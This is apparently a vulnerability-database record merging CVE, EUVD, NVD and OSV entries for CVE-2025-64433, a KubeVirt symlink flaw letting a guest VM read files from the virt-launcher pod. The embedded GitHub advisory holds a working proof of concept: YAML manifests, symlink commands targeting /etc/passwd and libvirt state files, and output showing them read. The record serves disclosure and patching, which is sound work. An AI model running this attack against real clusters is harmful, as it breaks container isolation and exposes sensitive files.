{"id":"GO-2025-4109","revision":null,"records":[{"revision":"e6b8877f0afe44d98fca26ef48e65134","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-64433","aliases":[],"title":"KubeVirt Arbitrary Container File Read","description":"KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.","state":0,"publishedAt":"2025-11-07T23:07:31.434+00:00","modifiedAt":"2025-11-10T16:52:41.772+00:00","affected":[{"ecosystem":"Vendor product","name":"kubevirt","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"kubevirt\",\n                    \"product\": \"kubevirt\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.5.3\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.6.0-alpha.0, < 1.6.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq","https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64","https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849","https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-64433","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-64433","identifiers":["CVE-2025-64433"]},"retained":false,"historicalAffected":[]},{"revision":"fd1ef556856a4a6898f1b3d9b8d52d4e","observedAt":"2026-11-15T05:38:04.525+00:00","statement":{"source":"euvd","id":"EUVD-2025-38217","aliases":["CVE-2025-64433","GHSA-qw6q-3pgr-5cwq"],"title":"KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symli…","description":"KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":null}],"references":["https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq","https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64","https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849","https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-38217","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 7, 2025, 11:07:31 PM","dateUpdated":"Nov 10, 2025, 4:52:41 PM"},"relatedAdvisories":[{"id":"SUSE-SU-2025:4330-1","title":"Security update for kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container, virt-pr-helper-container","vulnerabilityIds":["CVE-2025-22872","CVE-2025-64324","CVE-2025-64432","CVE-2025-64433","CVE-2025-64434","CVE-2025-64437"]},{"id":"SUSE-SU-2026:20571-1","title":"Security update for kubevirt","vulnerabilityIds":["CVE-2024-45310","CVE-2025-22872","CVE-2025-64324","CVE-2025-64432","CVE-2025-64433","CVE-2025-64434","CVE-2025-64435","CVE-2025-64437"]},{"id":"SUSE-SU-2026:20551-1","title":"Security update for kubevirt","vulnerabilityIds":["CVE-2024-45310","CVE-2025-22872","CVE-2025-64324","CVE-2025-64432","CVE-2025-64433","CVE-2025-64434","CVE-2025-64435","CVE-2025-64437"]},{"id":"WID-SEC-W-2025-2563","title":"Microsoft Azure Linux: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2024-25621","CVE-2025-10966","CVE-2025-12863","CVE-2025-12875","CVE-2025-31133","CVE-2025-40107","CVE-2025-40109","CVE-2025-52565","CVE-2025-52881","CVE-2025-60753","CVE-2025-62220","CVE-2025-64329","CVE-2025-64432","CVE-2025-64433","CVE-2025-64434","CVE-2025-64435","CVE-2025-64436","CVE-2025-64437"]},{"id":"openSUSE-SU-2025:15772-1","title":"kubevirt-container-disk-1.6.3-1.1 on GA media","vulnerabilityIds":["CVE-2025-22872","CVE-2025-64433","CVE-2025-64437"]},{"id":"SUSE-SU-2026:20610-1","title":"Security update for kubevirt","vulnerabilityIds":["CVE-2024-45310","CVE-2025-22872","CVE-2025-64324","CVE-2025-64432","CVE-2025-64433","CVE-2025-64434","CVE-2025-64435","CVE-2025-64437"]},{"id":"msrc_CVE-2025-64433","title":"KubeVirt Arbitrary Container File Read","vulnerabilityIds":["CVE-2025-64433"]},{"id":"openSUSE-SU-2026:20281-1","title":"Security update for kubevirt","vulnerabilityIds":["CVE-2024-45310","CVE-2025-22872","CVE-2025-64324","CVE-2025-64432","CVE-2025-64433","CVE-2025-64434","CVE-2025-64435","CVE-2025-64437"]},{"id":"openSUSE-SU-2026:11091-1","title":"kubevirt1.8-container-disk-1.8.3-1.1 on GA media","vulnerabilityIds":["CVE-2021-43565","CVE-2023-26484","CVE-2023-44487","CVE-2024-33394","CVE-2025-22872","CVE-2025-64433","CVE-2025-64437","CVE-2026-33186","CVE-2026-9804"]},{"id":"openSUSE-SU-2026:11057-1","title":"kubevirt-1.8-container-disk-1.8.3-1.1 on GA media","vulnerabilityIds":["CVE-2021-43565","CVE-2023-26484","CVE-2023-44487","CVE-2024-33394","CVE-2025-22872","CVE-2025-64433","CVE-2025-64437","CVE-2026-33186","CVE-2026-9804"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-38217","identifiers":["EUVD-2025-38217","CVE-2025-64433","GHSA-qw6q-3pgr-5cwq"]},"retained":false,"historicalAffected":[]},{"revision":"58d8f39b637645af9d98b50251d8c799","observedAt":"2026-10-25T03:17:29.935+00:00","statement":{"source":"nvd","id":"CVE-2025-64433","aliases":[],"title":"KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symli…","description":"KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.","state":0,"publishedAt":"2025-11-07T23:15:45.537+00:00","modifiedAt":"2026-06-17T09:54:22.6+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64","https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849","https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08","https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-64433","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*","cpe:2.3:a:kubevirt:kubevirt:1.6.0:-:*:*:*:kubernetes:*:*","cpe:2.3:a:kubevirt:kubevirt:1.6.0:alpha0:*:*:*:kubernetes:*:*","cpe:2.3:a:kubevirt:kubevirt:1.6.0:beta0:*:*:*:kubernetes:*:*","cpe:2.3:a:kubevirt:kubevirt:1.6.0:rc0:*:*:*:kubernetes:*:*","cpe:2.3:a:kubevirt:kubevirt:1.6.0:rc1:*:*:*:kubernetes:*:*"],"sourceDates":{"published":"2025-11-07T23:15:45.537","lastModified":"2026-06-17T09:54:22.600"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-64433","identifiers":["CVE-2025-64433"]},"retained":false,"historicalAffected":[]},{"revision":"f2697ddc168043e996d60afb6afcca6d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qw6q-3pgr-5cwq","aliases":["CVE-2025-64433","GO-2025-4109"],"title":"KubeVirt Arbitrary Container File Read ","description":"### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nMounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nA vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.\n\nAlthough a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nConsider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:\n\n```yaml\n# The YAML definition of two PVCs that the attacker has access to\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: pvc-arbitrary-container-read-1\nspec:\n  accessModes:\n    - ReadWriteMany # suitable for migration (:= RWX)\n  resources:\n    requests:\n      storage: 500Mi\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: pvc-arbitrary-container-read-2\nspec:\n  accessModes:\n    - ReadWriteMany # suitable for migration (:= RWX)\n  resources:\n    requests:\n      storage: 500Mi\n---\n# The attacker-controlled container used to create the symlinks in the above PVCs\napiVersion: v1\nkind: Pod\nmetadata:\n  name: dual-pvc-pod\nspec:\n  containers:\n  - name: app-container\n    image: alpine\n    command: [\"/some-vulnerable-app\"]\n    volumeMounts:\n    - name: pvc-volume-one\n      mountPath: /mnt/data1\n    - name: pvc-volume-two\n      mountPath: /mnt/data2\n  volumes:\n  - name: pvc-volume-one\n    persistentVolumeClaim:\n      claimName: pvc-arbitrary-container-read-1\n  - name: pvc-volume-two\n    persistentVolumeClaim:\n      claimName: pvc-arbitrary-container-read-2\n```\n\nBy default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:\n\n```bash\n# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.\n\nattacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img\nattacker@dual-pvc-pod:/mnt/data1 $ls -l\nlrwxrwxrwx    1 root     root            85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml\n\n# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM\nattacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img \nattacker@dual-pvc-pod:/mnt/data2 $ls -l\nlrwxrwxrwx    1 root     root            34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd\n```\n\nOf course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM:\n\n```yaml\n# arbitrary-container-read.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n  name: arbitrary-container-read\nspec:\n  runStrategy: Always\n  template:\n    metadata:\n      labels:\n        kubevirt.io/size: small\n        kubevirt.io/domain: arbitrary-container-read\n    spec:\n      domain:\n        devices:\n          disks:\n            - name: containerdisk\n              disk:\n                bus: virtio\n            - name: pvc-1\n              disk:\n                bus: virtio\n            - name: pvc-2\n              disk:\n                bus: virtio\n            - name: cloudinitdisk\n              disk:\n                bus: virtio\n          interfaces:\n          - name: default\n            masquerade: {}\n        resources:\n          requests:\n            memory: 64M\n      networks:\n      - name: default\n        pod: {}\n      volumes:\n        - name: containerdisk\n          containerDisk:\n            image: quay.io/kubevirt/cirros-container-disk-demo\n        - name: pvc-1\n          persistentVolumeClaim:\n           claimName: pvc-arbitrary-container-read-1\n        - name: pvc-2\n          persistentVolumeClaim:\n           claimName: pvc-arbitrary-container-read-2\n        - name: cloudinitdisk\n          cloudInitNoCloud:\n            userDataBase64: SGkuXG4=\n```\n\nThe two PVCs will be mounted as volumes in \"filesystem\" mode: \n\nFrom the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system: \n\n```bash\n# Deploy the VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml\nvirtualmachine.kubevirt.io/arbitrary-container-read created\n# Observe the deployment status\noperator@minikube:~$ kubectl get vmis\nNAME                       AGE   PHASE     IP           NODENAME       READY\narbitrary-container-read   80s   Running   10.244.1.9   minikube-m02   True\n# Initiate a console connection to the running VM\noperator@minikube:~$ virtctl console arbitrary-container-read\n```\n\n```bash\n# Within the `arbitrary-container-read` VM, inspect the available block devices\nroot@arbitrary-container-read:~$ lsblk\nNAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT\nvda     253:0    0   44M  0 disk\n|-vda1  253:1    0   35M  0 part /\n-vda15 253:15   0    8M  0 part\nvdb     253:16   0   20K  0 disk\nvdc     253:32   0  512B  0 disk\nvdd     253:48   0    1M  0 disk\n# Inspect the mounted /etc/passwd of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdc\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdb | head -n 20\n<!--\nWARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE\nOVERWRITTEN AND LOST. Changes to this xml configuration should be made using:\n  virsh edit default_arbitrary-container-read\nor other application using the libvirt API.\n-->\n<domstatus state='paused' reason='starting up' pid='80'>\n  <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/>\n  <vcpus>\n  </vcpus>\n  <qemuCaps>\n    <flag name='hda-duplex'/>\n    <flag name='piix3-usb-uhci'/>\n    <flag name='piix4-usb-uhci'/>\n    <flag name='usb-ehci'/>\n    <flag name='ich9-usb-ehci1'/>\n    <flag name='usb-redir'/>\n    <flag name='usb-hub'/>\n    <flag name='ich9-ahci'/>\n```\n\n```bash\noperator@minikube:~$ kubectl get pods\nNAME                                           READY   STATUS    RESTARTS   AGE\ndual-pvc-pod                                   1/1     Running   0          20m\nvirt-launcher-arbitrary-container-read-tn4mb   3/3     Running   0          15m\n# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash \n\n# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod \noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd\n-rw-r--r--. 1 qemu qemu 73 Jan  1  1970 /etc/passwd\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.","state":0,"publishedAt":"2025-11-06T23:33:33+00:00","modifiedAt":"2026-09-10T03:50:58.4084351+00:00","affected":[{"ecosystem":"Go","name":"kubevirt.io/kubevirt","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.5.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"kubevirt.io/kubevirt","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.6.0-alpha.0"},{"kind":"fixed","version":"1.6.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq","https://nvd.nist.gov/vuln/detail/CVE-2025-64433","https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64","https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849","https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08","https://github.com/kubevirt/kubevirt"],"sourceUrl":"https://github.com/advisories/GHSA-qw6q-3pgr-5cwq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qw6q-3pgr-5cwq","identifiers":["GHSA-qw6q-3pgr-5cwq","CVE-2025-64433","GO-2025-4109"]},"retained":false,"historicalAffected":[]},{"revision":"921d596aa0ad4e67a6896d0cba2e222b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-4109","aliases":["CVE-2025-64433","GHSA-qw6q-3pgr-5cwq"],"title":"KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt","description":"KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt","state":0,"publishedAt":"2025-11-17T19:11:23+00:00","modifiedAt":"2026-03-25T20:40:08.896586+00:00","affected":[{"ecosystem":"Go","name":"kubevirt.io/kubevirt","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.5.3"},{"kind":"introduced","version":"1.6.0-alpha.0"},{"kind":"fixed","version":"1.6.0-beta.0.0.20250801195231-a81b27d4600c"},{"kind":"introduced","version":"1.6.0-rc.0"},{"kind":"fixed","version":"1.6.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq","https://nvd.nist.gov/vuln/detail/CVE-2025-64433","https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64","https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849","https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-4109","license":"OSV · upstream source license applies","key":"osv:GO-2025-4109","identifiers":["GO-2025-4109","CVE-2025-64433","GHSA-qw6q-3pgr-5cwq"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T17:43:57.7477261+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T17:43:57.7477261+00:00","lastSuccessAt":"2026-11-15T17:43:57.9319367+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.9319376+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-85332baa2a2fe51044c7b11e74168cdf9ea3251563b394940fa4249a4ab5eea5","complete":true,"records":425838,"lastAttemptAt":"2026-11-15T17:43:56.7045831+00:00","lastSuccessAt":"2026-11-15T17:43:56.6887608+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:56.7045831+00:00","snapshotPublishedAt":"2026-11-15T17:26:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b236bb13999347ce987e1ca186c5d1f1","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T17:54:40.0701718+00:00","lastSuccessAt":"2026-11-15T17:54:40.063+00:00","error":"54 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T17:54:40.063+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13820,"expectedIdentifiers":13874,"failedIdentifiers":54},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T17:43:57.7477261+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T17:43:57.7477261+00:00","lastSuccessAt":"2026-11-15T17:43:57.9327717+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.9327718+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-31b467d979fb43bea77e4ea73320cf71","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T17:44:08.5219832+00:00","lastSuccessAt":"2026-11-15T17:44:08.513+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:44:08.513+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T17:43:57.6786653+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.6786653+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T17:43:57.373573+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.373573+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T17:43:57.6970901+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.6970901+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T17:43:57.5611113+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.5611113+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}